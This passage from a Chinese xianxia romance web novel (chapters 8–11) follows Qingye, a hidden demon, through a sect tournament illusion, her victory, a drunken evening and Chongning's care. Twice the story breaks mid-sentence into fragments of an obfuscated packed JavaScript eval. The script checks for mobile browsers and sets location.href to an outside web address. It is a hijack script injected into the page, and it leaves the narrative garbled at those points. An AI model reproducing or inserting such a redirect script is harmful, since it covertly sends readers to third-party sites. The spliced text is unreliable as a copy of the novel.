青叶这话说得不是很坚定。离开焚月塔后,她其实还可以感受到母亲存在过的痕迹。 只是一点点的痕迹,却像一片温宁的湖水浮在她脑海中。 那些记忆她看不真切,但既然还能留在她脑中,大约曾经还是十分重要的。 “我死后,叛军不会放过你的。”慕沧澜沉默了很久,最终说,“你母亲的魂魄会为你带来保命之道。” “我马上要魂飞魄散了。我不会对你说谎。” “……” 青叶最后还是答应了。 那是她唯一一次甘愿听从慕沧澜的指令。 - 记忆渐渐收束,几案上烛火仍在跳动,窗外的夜依旧冷寂深沉。 青叶静静坐在床沿,手指收紧。 她也曾想过,若就此当一个凡人在此修炼,说不定真的可以在无垢宗留下去。毕竟,重宁似乎很愿意保护她。 但她是魔,她修不出金丹。 青叶必须要主动找机会重获曾经的力量,才能得以自保,以及……完成要做的事情。 她终究要离开重宁。 青叶撇去多余的思绪,准备歇息。她眸中却在此时掠过一道淡淡的黑影。 ……是洄夜在找她。 如此突然,大约是有紧急的事情。 青叶正要回应,却警觉地想到自己手腕上的梦吟。 虽然只有监测灵力波动的效用,但为了以防万一…… 可圣子的物件,戴上了大约没那么容易取下吧? 青叶犹豫了几秒,尝试将梦吟取下。然而她只是轻轻一掰,梦吟便听话地从她手上脱下了,连以往流转着金光的芙蓉花也变得暗淡无光。 像是知晓青叶此刻不需要它了。 青叶没想到这么简单,她愣了愣,最终还是去往了外院,聆听洄夜的传讯。 “殿下,属下已离开鬼界,准备卧底潜入叛军阵营,替您拖延些时间。” “殿下上次说魔丹可尽快恢复,是真的吗?” “是。”青叶道。 “等我重聚魔丹,便去与你汇合。” 9. 第 9 章 宗门大比前一日,江小芦忽然跑来了青叶的房间,揣着一副龟甲,同她神神秘秘地说:“青叶姐姐,你明天就要进入千机幻境了,要不要我给你免费卜一卦?我在宗门内可都是收费的哦。” 青叶微微一愣,有些好奇。她们魔修向来不信占卜一道。 不过,出于对江小芦所学的尊重,她还是让这小孩给她卜了一卦。 “啊,怎么是凶卦。”江小芦挠挠头,有些不好意思。 青叶倒没有在意占卜的结果,她拍拍江小芦的小手,“没关系,谢谢小芦。” 江小芦还是有点郁闷,他和青叶说:“那我下次再免费送你一卦。青叶姐姐下次有什么想问的事情都可以来占卜。” 青叶轻轻笑了笑,“不用了,我不想把我的命运交给一副龟甲。” 江小芦闻言,摇摇头道,“青叶姐姐可不要看不起占卜之道呀,这可是向神灵祈求启示!” “没有看不起。”青叶同他认真地说,“我只是不信此道。” “哼哼,那只是时候没到。”江小芦抱胸,笃定地说,“等你日后有无论如何都想实现的事情时,一定会再去求助神灵的。” “……小小年纪就神神叨叨的。”青叶无奈,但还是任江小芦给她科普了一长串占卜术法。 - 次日。 宗门试炼格外隆重,隐月山真元殿内,各山长老及高阶仙长皆来观战。 众人坐次中央,一块巨大的水晶棋盘上呈现出幻境内弟子们的比试局势,每位弟子皆由一只小巧的棋子代表。 掌门明华仙君从一扇花鸟屏风后现身,入座主位。他身形清瘦,蓄着长长的洁白胡须,只着一身素净白色仙袍,手中握一拂尘而已。 “掌门还是活脱脱一副立马要羽化登仙的模样。”座下的玉丹长老执一只纸扇,明艳的面孔带笑,寒暄道。 “玉丹日日进阶剑道,仙风道骨的气韵也不改当年啊。”明华也笑呵呵地开口,倒是没有多少身居高位的架子。 “行了,别互相吹捧了。”一男子衣衫翩然,神采熠熠,风一般地潇洒现身,“我修为不及你们,就看你们二人何时飞升,我也好沾沾光。” “星驰,你来了。”明华招手示意,“快坐下吧。你也来看自己的弟子们?” “是啊。不过我门下弟子剑术不精,想来是不敌玉丹的那群小孩了。”星驰长老朗声道。他乃占卜医术两道双修,门下弟子也不常习剑,大多是在团队内充当辅助罢了。 “可别妄自菲薄。”玉丹半张美丽的脸从折扇后露出,眼珠一转,眸中闪烁着些许戏谑之意,“叠云峰上有个连金丹都没炼出来的小孩都参赛了呢。” “叠云峰?阿宁山上不是只有小芦一个弟子么?”明华似有些疑惑。 江小芦原本在星驰长老门下修习占卜,但因重宁出关后身边无人,掌门明华便在宗门内选了些有灵性的小孩替重宁打理杂务。重宁喜静,最终只留下了江小芦一人。 “掌门,您日日繁忙,自然没有听说。”玉丹笑意不明,道:“半年前重宁回来时,还带了个小姑娘,与小芦一同住在了叠云峰上。” “那姑娘丹田有损,至今未修出金丹。” “是吗?这倒是新鲜事。”明华摸了摸长须,“阿宁也没和我说过,这孩子……自出关后性情更加孤僻了些。” 他又看向星驰,“你向来同阿宁关系不错,怎么没告诉过我?” 星驰连连摆手,“哎呀,我与重宁的交情也是百年前的事了,他闭关了那么久,后又离开宗门以云游之名四处除魔……他回来后我还没同他说上几句话呢。” 玉丹笑道,“星驰长老忙些也是正常的,毕竟你门下弟子不是跑出去坑蒙拐骗给别人算命,便是充当江湖术士卖丹药赚外快。” “……玉丹长老还是如此心直口快。”星驰假笑两声,指着玉盘上的两只棋子,“你那么关注别人的弟子做什么?你嫌弃的那小孩没修出金丹,你门下却有个弟子愿意和她组队呢。” “夏昭天赋卓绝。我自是担心一个废人会拖累她。”玉丹不再给他眼神,拿折扇挡住身侧的星驰,“你坐得离我远些吧,唾沫星子都飞过来了。” 周遭,各长老仙长们纷纷入座,见这向来爱吵闹的二人又开始拌嘴,也不禁有些无奈。但没人想去掺和这二人的对话,毕竟太有损风度。 “好了好了。”掌门明华笑着听了他们吵嘴半晌,最后还是出面打断,“还是好好看弟子们比试吧。” “对了,”他又看了看坐席中人,问道,“阿宁今日没来吗?” “这种场合,他向来不参与的。”星驰说,“毕竟他没有徒弟。” “不过这次……”他顿了顿,显然是想到重宁半年前带回来的那女孩。 虽不算是徒弟,但…… 星驰话音未落,一道身影便向他们走来。 一袭白袍,袍角绣着淡金色的芙蓉纹,腰间佩剑,雪白剑鞘下逸出的剑气足以令在场所有人忌惮。 重宁竟是来了。 他缓步走至星驰身旁,静静落座,未发一言。尽管他是在座高阶仙长中最年轻的一个,其他人却不敢贸然与他搭话。 “不错不错,人终于齐了。”掌门看起来十分满意,高兴道:“来吧,开启幻境,让弟子们进去吧。” * 千机幻境开启,青叶后,本以为会有无数光怪陆离,虚幻怪诞的景象,但和夏昭过了两关后,不禁心中暗想:就这? 还不如从前她在焚月塔里经历过的千分之一呢。 第一关是十分简单的笼中鸟阵法,只需要在苍翠的竹林里找到真实的鸟鸣,跟随小鸟而行,便能脱离竹林幻境。 第二关则遇上了无面书灵,这关倒是有些难度,书页如利刃般朝她们飞来,青叶和夏昭合力抵挡,没过多久,空中的书页竟然凝结成一只足有几米高的纸人,朝她们扑来。 青叶反应迅速,顺手从旁边的墙上拿下一盏油灯扔上去—— "轰"的一声,火焰瞬间吞没了纸人和它身边如山的书页。 青叶暗自诧异:这么简单? 火克木,这幻境的破解之术倒十分奇妙 在熊熊烈火中,纸人的面孔开始融化,化作一本燃烧的书。这便是它的真身——无面书灵。 夏昭见它真身已破,便抓着青叶要逃出此处,去往下一关。 然而,就在她们转身欲走时,那本燃烧的书猛地飞起,书页化作碎纸屑,凝聚成一只触手,迅速缠绕住青叶的胳膊。 一阵强烈的吸力袭来,青叶立刻判断出自己无法抵抗,于是甩开了夏昭的手,将她推远。 "青叶!"夏昭的惊呼声远去,青叶只感到一阵天旋地转,整个人被吸入了那团燃烧的书页之中。 - 青叶从一片黑暗中挣脱,看见了点点星光。 她手臂上留下了被烧伤的痕迹,此刻却无暇顾及。 青叶很快发觉,她正立于一片奇异的海面上,脚下海水如镜,倒映着满天星辰。她试探着迈步,鞋底竟没有沾湿。 她有些不安,下意识地摩挲着手腕上的梦吟镯。 那夜之后,她又将梦吟重新戴了回去。 青叶抬头看向远方,海天相接处模糊不清,然而,竟有两轮明月并列悬挂在天际,发出柔和的光芒。 月光洒向她的身躯,令她不得不仰头直视。 再次回神时,眼前的景象已经悄然改变。 潮湿的墙壁、黏稠的黑暗、刺鼻的血腥味……一切都如此真实,侵袭着她的身体和感官。 她竟回到了那个曾囚困了她不知多少年的地方——魔界的牢笼,焚月塔。 这不是普通的幻境,青叶想,她大约是身处自己的心魔之中。 一片巨大的阴影却在此时将她笼罩。 低沉的嘶吼从阴影中传来,一只巨大的魔物缓缓爬出,猩红的双眼死死盯着她。 青叶手中剑顿了一瞬,微微斟酌着是否要主动出击。 然而,下一秒,那魔物突然发动,利爪如风,狠狠袭向她的胸口。 一阵血腥气息迅速弥漫开来。 心魔之中的伤害,竟也是真实的,痛感让她无法忽视。 青叶没有再犹豫,剑光如电,瞬间斩断了魔物的头颅。黑色的血液喷溅而出,但她没有停下,因为下一只怪物很快出现。 一只、两只、三只…… 她杀光了所有出现在她记忆中的怪物,直到焚月塔的幻象崩塌,化作灰烬,迅速消散。 不过如此吗?青叶勾唇一笑。 由恐惧构筑起的心魔,已无法再侵蚀她了。 就在此时,第二轮月亮骤然亮起。 又是什么新鲜的花招?可这一次,青叶似乎并没有被拉入另一个场景。 她的身前,海天交汇之处,渐渐浮现出一个女人的身影。 她缓缓而来,愈走愈近。 青叶盯着面前的身影,一时愣住了,几乎不敢相信自己的眼睛。 她手中的剑,不自觉地放了下来。 青叶其实已经忘记了母亲真正的面貌。焚月塔的经历让她的记忆模糊无比。 然而,此刻身前的女人一出现,不过瞬间,青叶心脏便猛地揪紧。 她知道,这就是她的母亲。 女人的眸光像一片清潭,温柔而宁静,注视着她。她伸出手,似要触碰青叶的脸颊。 母亲和父亲如此不同。她不似一个魔,望向她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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青叶闭了闭眼,又睁开了眼睛。 眼前的重宁没有消失。 “跟我走吗?”他的声音在她耳畔响起,“去月亮上。” “去找你的母亲。” “没有人会再来打扰我们,你也不用再害怕。” 这是一个蛊惑。理智告诉青叶。 可她依然不受控制地点头。 这个温柔的世界,母亲在这里,重宁守护在她的身旁。恐惧与悲伤渐渐远离她。 如果能在此永存…… 她心道。 如果能永远留在这个温柔的幻境里…… 那又何必再回到残酷的现实? 青叶终于明白,当幻境发现恐惧无法击败她时,便开始用令人沉溺的美好来引诱她。 青叶跟着重宁向前,足底渐渐离开海面,他们腾空而起,朝月亮的方向飞去。 月华似绸缎,披在他们二人身上。 【真的要在此时和他走吗?你明明知晓一切都是虚假的。】 一丝理智忽而在她的脑海中闪现。 她猛地抓住这一丝理智。 【仙魔本是对立。而你真正的母亲在幻境之外。】 青叶闭了闭眼,狠狠咬破了自己的舌尖。 熟悉的痛觉让她清醒片刻。 她缓缓松开了被重宁拉着的手。 眼前的男人开始变得困惑起来,神情逐渐僵硬。青叶看见,他的身体边缘在化作尘埃。 那不过是妄念罢了。 妄念一破,心灭身灭。 ……不必深究。 - 此时此刻,隐月山上。 在无数双眼神的注视下,那颗陷入棋盘上一片蓝色海洋的棋子发出嗡嗡鸣响,微微在棋盘上浮起,最终往前一步,成功从沉星海幻境中逃脱。 “沉星海……这应该是幻境中最有迷惑性的心魔关了。”星驰在自己的座位前踱步,观察着棋盘上的局势。 “看,那些第三关被分到其他阵法的弟子们,连普通的心魔都无法抗衡,已经开始自相残杀了。”他叹息道。 “由心而生妄念,继而成魔。”玉丹轻笑一声,“不要小瞧心魔的威力。” “是啊。”明华微笑着,继续摸着自己的胡须,“可见,那丹田有损的小弟子心性足够坚强。” “哼。”玉丹再次用扇子遮住脸,不忿道,“掌门一碗水可要端平。” “看,我们万灵山的夏昭和宋子弦也离开了第三关。” 棋盘之上,代表宋子弦的棋子带着几个跟随的棋子迅速向前,眼看就要与青叶和夏昭走至一起。 星驰看向一言不发的重宁,而后者的视线已从棋盘之上收回。 他微微垂眸,在他指间,一只印有芙蓉纹样的戒指闪烁着,微微发烫。 那是他和梦吟的联系,让他得以知晓青叶的安危。 10. 第 10 章 青叶抬手一剑划破幻象,任由失重感将她再次抛至海面。 一远一近的两轮月亮,此时躲进了云雾之后,不再散发着蛊惑人心的光芒。 就在这时,一片宽大的纸卷稳稳地接住了她,如一叶扁舟般载着青叶落于海上。 一个书生扮相的人背着身,立于她眼前。 青叶警惕地看向这人,心道又是什么幻象? 那书生很快转过身来,它没有人类的面貌,在脖子之上,竟是一本翻开的书页。 “你是书灵?”青叶问道。 它不是幻象,而是幻象的主人。 书灵的脸孔在微风吹动下轻轻翻着页,像是在点头。 “很少有人能这么快走出沉星海。你很不错。”它的声音似从天上而来,空灵而深邃。 “有什么想问我的吗?” 青叶其实只有一个问题:“我的心魔幻境,会被别人知晓吗?” 书灵摇摇头,书页哗啦啦又翻动几页,“既为心魔,便只有自己知晓。” “就连我,也不知道你经历了什么。” 青叶这才放下心来。 “我送你回去吧。” 它话音一落,载着青叶的纸卷忽而翻了过来。她还没有反应过来之时,已经落入了海中。 先前这海水并未打湿她的足尖,这次却席卷过她的身体,让她慢慢下沉。 - “青叶……” “小青叶!” 再次恢复神智,睁开眼睛时,青叶看见的是夏昭。 女孩担忧的声音在耳边响起,她不断呼唤着自己。 “我没事……”青叶微微张口,低声道。 她四处张望,发现此地是夜晚时分,她躺在一条河边,身上沾染了泥土和草屑的气息。不远处,则是一片幽暗的密林。 “吓死我了。”夏昭见她醒来,抚着自己的胸口,终于松了口气。 “我方才在那密林里通过了第三关。”她向青叶解释道,“来到这河边时便发现了你。” “你刚刚昏迷不醒,大约有一个时辰了。我捡了些醒神的草药放在你鼻下,你才慢慢醒来。” 第三关…… 那么在下一关,便能见到碧云雪草了。目前幻境试炼还未结束,说明还没有人拿到它。 青叶这时反应过来,大约刚刚的沉星海,就是对于她而言的第三关了。因而书灵送她来此地,和夏昭会合。 “你之前怎么能甩开我的手!”夏昭点了点她额头,“要是你被那幻境吞噬了怎么办?” 青叶慢慢坐了起来,“没关系,我这不是好好的吗?” “这次试炼只有一天的时间,你在这儿等的我一个时辰,恐怕浪费了不少时间。” “你在说什么话!”夏昭瞪圆了眼睛,“我离开第三关后便四处寻你,好不容易找到了,怎么能让你一个人在此昏迷……太危险了!” “是啊。”青叶握住她的手,“方才面对书灵时,我也是这样想的。” “太危险了,不能让你也卷进去。” “你……”夏昭闻言,不禁愣了愣。 慢慢地,她眼睛便红了。 青叶爬起身来,拍拍自己身上的尘土。 “好了,爱哭鬼,我们走吧。”她一笑,指了指小河的上游,那儿闪着忽明忽灭的光,大约是引她们去往下一关。 “你……!”夏昭才不愿意被叫做爱哭鬼,揉揉眼睛,向青叶扑过去。 二人打打闹闹,一路去往小河上游。 “你刚刚卷入的幻境是不是很可怕?”夏昭开口问道。 “倒不是可怕……就是……”青叶顿了顿,没有说下去。 夏昭见她不想说,也没有细问,她提起刚刚的密林,抱怨道:“方才我遭遇圆柏大袭击,散出的花粉把我困在阵法里,我都快窒息了。” 她们沿着河流向上游走,却遇上了一个不速之客。 宋子弦。 以及他的队友们。 宋子弦的长袍已经被割得破烂,脸上还有一道血痕,大概是拼了命才来到此地。 宋子弦见了她们,不似之前那般耀武扬威,只是阴恻恻地瞪了她们一眼,"别碍事。" 但他手中已拿着寒光粼粼的剑,显然在此等候她们,要在开始争夺碧云雪草后就将她们除去。 青叶想,看来他为了碧云雪草,真的十分执着。不知赵执律许了他什么好处? 剑光闪烁,她拔出了凝霜。 身边的夏昭也拔了剑。 她们交换了个眼神,夏昭便袭向了宋子弦的队友们,而青叶则和宋子弦一对一交锋。 这是她们先前便计划好的。 宋子弦不似之前那次,毫无防备地被青叶一剑打倒,这次他显然是做足了对付她的准备。 青叶一边拖住宋子弦,一边往小溪的上游继续走。 不一会儿,她便将他带进了第四关的地界。 周边的景象骤然发生改变,宁静的河流和树林消失,取而代之的是一一条连接着两头山崖的摇摇晃晃的木桥。 木桥之下,是滚烫的岩浆和浮动的熊熊烈焰。 最后一关没有什么花里胡哨的幻境,只有为弟子们相互搏杀而准备的危险场地。 “你以为把我带进这里,就能把我吓退么?”宋子弦冷笑一声,飞身一跃上了木桥,继续挥剑斩向青叶。 木桥上锁链叮铃作响,承载了两个人的重量,这座桥便已摇摇欲坠。 这次,是宋子弦一边同青叶过招,一边向桥的另一端移动。 另一端的断崖处,已经可以隐隐看见盛放着碧云雪草的玉匣。 宋子弦出手狠厉,招招都是杀招。青叶将剑谱上研读发现的破绽一一用在他身上,收效甚微。 然而,在宋子弦举剑抬手时,衣袖忽而滑落。青叶注意到,他小臂上似有几道诡异的黑线。 但只是一闪而过,宋子弦的手很快放下,衣袖遮掩住他的手臂,青叶也不清楚自己是否看清楚了。 宋子弦趁她愣神的一瞬,剑气向她一击,青叶不得不踉跄退后几步。 宋子弦扭头便向前冲,熊熊烈焰忽而升起,阻拦了他的去路。 而身后的青叶已赶了上来,她不再与宋子弦纠缠,而是足尖轻点,踏着他的肩越过了那道火焰,来到了断崖另一头。 宋子弦的目光在烈焰下显得愈发阴鸷,他不顾自己是否会被火焰灼伤,一股脑地往前冲。 青叶心中一惊,他这是不要命了? 下一秒,被烈焰炙烤的木桥烧出了一个大洞。只顾向前的宋子弦踩空一角,就要落入万丈深渊。 幻境里受到的伤害都是真实的……宋子弦要是真的掉下去,恐怕会就此陨落。 青叶扯断了木桥上的锁链,向下一荡——长长的锁链捆上宋子弦的身躯,将他捞了上来。 虽是好心没让他死,但青叶却也没想让他好过,于是重重地将他摔在地上。宋子弦经了刚刚的一遭,又遭此重击,伏在地上昏迷了过去。 青叶没有再理会宋子弦。幻境自会将他传送出去。 她缓缓上前,打开了那方玉匣。 玉匣之内,放着她要的那株仙草。 草身周围缭绕着青色云雾,若有似无般地浮动。草叶上覆着点点霜华,像是冬日初雪落在翠玉上。 碧云雪草。 青叶伸手探去。 然而下一秒,眼前的战利品忽然幻灭。 她触碰到一片虚无,随后周身的一切渐渐褪去,傍晚的余晖重重新笼罩她,淡淡的檀木熏香气息传来。 随后,便是一阵掌声。 “孩子,做得很好。” 青叶抬头,才发觉她已离开幻境,站在一座大殿之中。 坐于主座的老者正在同她说话。 老者鹤骨松姿,手握一拂尘,眼含赞赏地看着她。 那就是无垢宗掌门,明华仙君。 此地,大概便是隐月山上的真元殿。 青叶微微打量了一下周身的环境,与叠云峰上古宅的清雅简净不同,真元殿内的布置繁复精致,充满灵趣的大小器物堆积如山。 明华仙君的主座之下,坐着各位仙长。 她一眼便看见了重宁。 隔着遥遥人群,重宁也正沉静地望着她。 青叶回想起了在沉星海中发生的一切,莫名有些不自在,躲过他的视线,缓缓地转过了头。 “孩子,你是宗门大比的第一名。恭喜你。”明华和蔼的声音响起。 “多谢掌门。”青叶道,又发问:“……我什么时候能拿到碧云雪草?” 幻境中的是假象,那真的仙草,应当在真元殿中。 “不必心急,是你的就该是你的。”明华开口,“按规矩,几日后,会在真元殿为弟子们一一发放奖励。” “……好吧。”青叶只能再等几日了。 “去吧,孩子,去和你的队友庆祝胜利吧。”明华笑道。 青叶走出真元殿时,夏昭便朝她扑了过来。 “小青叶!你是第一名!” 夏昭刚和其他弟子一起从幻境中传送出来,特意来这里等她。 青叶纠正她:“不对,是——我们是第一名!” “嘻嘻!但你的功劳比较大呢。”夏昭吐了吐舌头,开心地畅想着,“等拿到那些天材地宝仙丹灵药,我的修为定能增长不少!” “走吧,小青叶。”她拉住青叶的手,“咱们喝酒庆祝去!” “赵如强的酒我不稀罕喝,但和你的话——一定要不醉不归!” 两个女孩儿搭着肩膀哼着歌,乘上祥云便往远处去了。 而隐月山上的真元殿内,气氛却远不如方才祥和。 青叶走后,座下的玉丹长老收起了折扇,沉声道,“掌门,这就要判定是谁拔得头筹了吗?” “我们还未看过溯回镜。万一,千机幻境中有人作弊呢?” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16780535|190395||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >此言一出,在场皆议论纷纷。 若是青叶真的作弊,其他长老的弟子便有机会得到碧云雪草了。 人声之中,重宁忽而开口,说出他来此地后的第一句话:“弟子们表现如何,玉盘上皆有呈现,不可妄加论断。” 他声线淡然,气场却强大,周遭长老们皆静默下来。 “这便是妄加论断吗?每次宗门大比后,皆要查验溯回镜,这是规矩。”玉丹呵呵一笑,冷声道,“圣子大人,上次你来干涉我万灵山之事,现在是连宗门大比也要维护你那小弟子了么?” 掌门明华轻咳两声,最终开口:“诸位,安静。” “查看溯回镜是规矩,的确该看。不过,方才那位小弟子在千机幻境中的表现有目共睹,相信查验过后,也不会有争论。” 明华的话说得滴水不漏,便无人再提出异议。 - 青叶和夏昭提着两壶酒,在松风阁上痛饮几大杯。 松风阁位于剑斋外的悬崖之上,可登高望远,将无垢宗的景象尽收眼底。 “真美呀……”夏昭感叹,又和青叶提议:“过几日便是山灵祭夜,要不要一起去玩?” “山灵祭夜?”青叶疑惑地问。 “你不知道吗?”夏昭为她解释道,“无垢宗的每座山都有一位山灵,是上一任长老陨落后化为的守护之灵,听说每年秋末时分,都会在宗门内巡游三夜,为弟子们答疑解惑。” “久而久之,便演变成了一个祭典节日。听说山灵们也会带不少宝物,若碰见有缘的弟子,便可用东西交换。” 夏昭已不像不久前那样,连圣子之事都不清楚,她现在显然对宗门琐事如数家珍。 青叶这才想起来,重宁似乎曾和她提起过叠云峰的山灵。 他说那位脾气古怪,又因他入主叠云峰后不再收弟子,山灵对重宁很是不满。 说到此处,夏昭又有些惆怅,“我想趁回归散修之前,再感受一下宗门的氛围。” 青叶见她如此,很快便答应了。 二人一边赏景,一边喝酒。 青叶没怎么喝过酒,夏昭带来的又是甜丝丝的灵泉果酒,入口甘甜,她不知不觉便喝多了。 双颊泛上云霞,青叶眼神中少了些清明,懵懵地摇摇脑袋,捧起酒杯,还想再向夏昭讨一口来喝。 “小青叶,没想到你喝醉后是这样的……”夏昭新奇地捏捏她红红的脸颊,但坚决不给她倒酒,“但不能再喝了,我没想到你不胜酒力,到时候把你灌晕了……圣子大人来找我麻烦怎么办。” 青叶只好有点委屈地放下杯子。 此时秋风和畅,松风阁外高大的树木在风中摇曳,飘扬的叶片乘风而起,不知去往何方。 夏昭有些感叹道:“来宗门后,没想到能交到你这样过命的朋友。” “只是也许很快我们就要分别。” “小青叶,你日后好好修炼,等炼出金丹后,记得来我的家乡找我玩。” 青叶伏在石桌上,静静听夏昭说话,如水的双眸一眨一眨,也不知道听进去没有。 “小青叶,小青叶……”夏昭转过头,看向她“之前我问你要不要成为朋友,你没有回答。” “但现在,你一定已经把我当朋友了,对不对?” 像是捕捉到了什么关键词一般,青叶重重地点了头。 “朋友。”她拉住夏昭的手。 夏昭笑了,午后日光落在她金灿灿的笑容上。 然而下一秒,她就笑不出来了。 空荡荡的酒瓶倒在石桌上,青叶有些心虚地将自己的杯子藏进袖口中。 “小——青——叶!” 夏昭叉腰,怒道:“竟然!趁我不注意的时候偷喝!” …… 一番折腾后,夏昭将青叶送到了叠云峰脚下。 “你确定你可以自己上山吗?”夏昭怀疑地开口。 青叶乖巧地揣着手,点点头,“可以的。” “不用担心我。” 夏昭方才给青叶狂灌醒酒汤,这才让她恢复了些神智。 “好吧……”夏昭将信将疑地看着她走上青石路,看起来很正常地消失在拐角处,这才放心地离去了。 然而青叶一拐过弯,便见一株桂花树在夕阳下柔柔地散出金光,立即将上山一事抛在了脑后。 “好香……”她喃喃道,抱住桂花树猛地吸了一口。 …… 夕阳西下,天际染上一层鎏金之时,重宁下山去寻青叶,看见的便是这样的景象—— 少女醉倒在桂花树下,一身青色衣袍沾染泥土。落日的绯色染上她的脸颊,桂花落在她眉角鼻尖,随着呼吸轻轻摆动。 大概在做一个香甜的梦。 重宁将青叶抱了起来,女孩嗅到熟悉的凝神草气息,依赖地靠在了他的肩头。 继续呼呼大睡。 “醉猫。”重宁点了点她的额头,无奈道,“真是不让人省心。” 11. 第 11 章 重宁怀中抱着柔软的女孩,一步步缓缓上山。微风拂动怀中人发丝,也牵动他心弦。 他并未乘祥云,虽然随手便能召来一朵。 大概是此刻落日霞光太美,他不禁贪看片刻,想让这上山的时间再长些才好。 回到叠云峰顶之时,绯红的夕阳尚未完全落下,月亮早已挂在枝头。 重宁将青叶送回了她自己的寝房,轻轻将她放在床榻之上。床榻一角与几案上还散落着宗门剑谱,以及过往千机幻境的研究图纸。 他无声地叹了口气,替她将书页一一收拾好,置于几案之上。 女孩儿在榻上滚了一圈,似乎感受到他的离开,又本能般地贴近了他身旁。 青色的弟子服制有些凌乱,衣袖滑落,露出她受了灼伤的手臂。原本白皙的肌肤上遍布创口,还有些伤未得到妥善处理。 她不会觉得疼吗?亦或是,早已习惯了忍痛。 重宁在青叶身旁坐下,用灵力替她细细疗伤。 大约是冰凉的灵力太过舒服,青叶无意识地离重宁越来越近,蹭上他的衣袍。 重宁挂在腰间的护身符香囊垂在她身前,醉倒的青叶睁开朦胧的双眼,伸手一拽—— 男人毫不设防,差点失去平衡,险些倒在她身上。 他双手撑在床榻上,小心翼翼地不触碰到青叶,那干了坏事的少女却又顺势抱上他的胳膊,微微蹙起眉头眉,像是在撒娇般地低声呢喃:“疼……” 青叶微微睁着眼,似是还在梦中的模样,茫茫然的眸间隐隐掠过不易察觉的黑影。 重宁侧过了头。 他什么都没有看见。 “……不许走。”青叶复又闭上眼,捉着他的手臂贴上去。 半梦半醒间的青叶感觉自己身上的伤口在灵酒的作用下愈发灼热,却在梦中被很温柔的一团灵力包裹住。好像只有贴上去,依赖着那团灵力,才能洗净她的痛苦。 她无知无觉地想要向他靠近。 而重宁简直拿她没有办法。 “我不走。” 他轻声道。 重宁换了个姿势,坐在床沿,任青叶抱着他的胳膊,微烫的脸颊贴上他的手掌。 “……不想离开……”在重宁为她盖上毯子时,又听见了这么一句呢喃。 重宁心头一动,忍不住低声问:“什么?” “……不想离开。” 青叶将脑袋缩进毯子里,小脸埋在重宁掌心,闷声道。 重宁轻叹一声,垂眸看她。 眼中盛满了青叶看不见的复杂情绪。 “不想离开的话,就一直留在我身边吧。” 他这样说。 就这样留在他身边吧。 以什么身份都可以,宗门弟子,他的弟子,叠云峰的久居之客,亦或是…… 重宁闭了闭眼。 再看向那搅乱他心绪之人时,才发觉,她已再次睡着了。 大约未曾听见他的话。 …… 看着青叶的伤慢慢退成清浅的痕迹后,重宁才收回自己的灵力。 女孩睡得不再像先前那样不安稳,而是终于陷入沉静的梦乡。 窗外,夜已经深了。月光穿过纱帘侵入室内,落下满地浅浅银光。 屋内灵烛闪烁着,重宁挥袖将其拂灭,离开了青叶的房间。 他一路回到自己的院落,院门外的小鱼在水缸里游曳,玉髓花随着夜风轻晃。 重宁没有休息。他去了静室。 每每心绪不定之时,他便会来此地,将自己关在暗无天日的室内,抄写心经。 重宁早已习惯在黑暗中视物,他的字向来端方齐整,却在今夜染上了些许疏狂之意。 写完数张宣纸,他胸口起伏,缓缓放下笔,凝神望向几案前方,置于高架上的无垢仙君神像。 那慈悲的面孔在黑暗中回望着他。 却在此时,见点点微光浮于眼前,遮挡住重宁的视线。 在黑暗之中,微弱的光芒将会吸引人的所有注意力。 ——是青叶赠与他的萤火虫。 从琉璃盏中飞出,蹁跹于静室内。 …… 青叶再次睁开眼时,天光已大亮。 她迷蒙着双眼从床榻上坐起身,脑子还是一团浆糊,却感觉身体十分松快,一点儿都不像经历了整整一天幻境试炼后的状态。 她衣袍上的脏污不见了,掀起衣袖一看,手臂上的伤只剩浅浅的痕迹。胸口的伤倒是还留下了些疤痕,但这也显现出为她治疗之人的君子风度。 为她治疗之人…… 青叶立马从床塌上蹦了下来。 紧接着,她又发现……自己的房间何时变得如此整洁? 散落在床上和桌上的书本杂页被妥善摆放整齐,灵烛也被及时熄灭,没在烛台上留下厚重的烛液。 能为她做这些的人,只会是重宁了。 青叶扶着额头,这才又想起最重要的事情。 ——她醉倒的时候,有没有说暴露身份的话?重宁是否有探查到藏匿在她丹田深处的那一丝魔气? 应该……是没有吧。 不然,她怎么还能见到今日的太阳? 只是下次再不能喝这么多了。 这让她对外界,尤其是重宁,全然没有防备之意。 青叶将自己收拾了一番,又咕噜咕噜灌了几杯水,这才神清气爽了些,准备出门寻重宁道谢。 顺便试探一番昨夜发生了什么。 她完全不记得了…… 踏出小院之时,青叶才发现,日光虽盛,山上却骤然刮起了大风,吹倒了门廊下的几盆玉髓花。 不似昨日的温暖,院外几棵大树已开始落叶,秋风瑟瑟,叶片打着旋儿飘至青叶身前。 她才意识到,如今已是秋末时节了。冬天很快便要来了。 虽然青叶如今已不怎么再需要玉髓花,但精心养护了半年之久,她还是不忍看它们被狂风摧残。 她将几盆花一一搬到屋檐之下,指尖轻抚过花瓣之时,它们还在微微颤抖。 “别怕。”青叶低声说,“等我离开,你们便自由了。” 她照料好了玉髓花,便向重宁的院落而去。 重宁的院落与寝殿大而清寂,即使堆放了不少她的花草虫鱼,仍旧有着出尘世外之感。 毕竟,这里住着的,是当世离上界仙人最近之人。 青叶跨过门槛,便见凡尘秋景之中,重宁立于院内池塘边。他一身月白素袍,被风吹起时,似白鹤振翅欲飞,羽化登仙。 他在那儿不知站了多久,只是静默地凝视着那一汪池水。池塘旁的桃树正落着叶,擦过他的肩头,坠入水面,惊起细碎的涟漪。 “……仙君。”青叶开口,唤他。 “嗯。”他微微点头,却没有转头看她。 想起千机幻境中的一幕,以及昨夜的照料,青叶有些不好意思。她的视线也从重宁身上躲开,望向那片池水。 有那么好看么?她想。水中只倒映出几道枯枝而已。 “谢谢仙君昨晚为我 